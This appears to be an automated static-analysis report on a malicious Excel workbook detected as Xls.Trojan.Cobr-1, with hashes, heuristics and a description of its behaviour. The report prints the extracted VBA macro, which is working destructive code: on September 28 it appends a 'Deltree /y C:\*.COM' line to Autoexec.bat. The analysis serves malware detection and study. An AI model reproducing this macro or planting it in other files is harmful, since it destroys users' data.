Xls.Trojan.Cobr-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 509899bb9e1c5e29…

MALICIOUS

Office (OLE)

20.0 KB Created: 1999-10-20 10:17:58 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: c1d77275203b8e51d452a5ce290d5616 SHA-1: 34cf9c2c9d9484b60441affc1849f6c74fa40e94 SHA-256: 509899bb9e1c5e293d6926017be080351f5b207ce24cc31c3253497fa8911922
140 Risk Score

Malware Insights

Xls.Trojan.Cobr-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an Excel file containing VBA macros. The Workbook_Deactivate subroutine contains logic that, under specific date conditions (September 28th), appends the command 'Deltree /y C:\*.COM' to the 'C:\Autoexec.bat' file. This action is indicative of a trojan attempting to disrupt system functionality by deleting COM files. The ClamAV detection 'Xls.Trojan.Cobr-1' further supports this classification.

Heuristics 2

  • ClamAV: Xls.Trojan.Cobr-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Cobr-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1254 bytes
SHA-256: 8181fb00b557dfe7ed517c20cb98d14d9d520b081de89283e1283516ee0a6706
Detection
ClamAV: Xls.Trojan.Cobr-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Deactivate()
On Error Resume Next
If Day(Now) = 28 And Month(Now) = 9 Then
Open "C:\Autoexec.bat" For Append As #1
Print #1, "Deltree /y C:\*.COM"
Close #1
End If
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.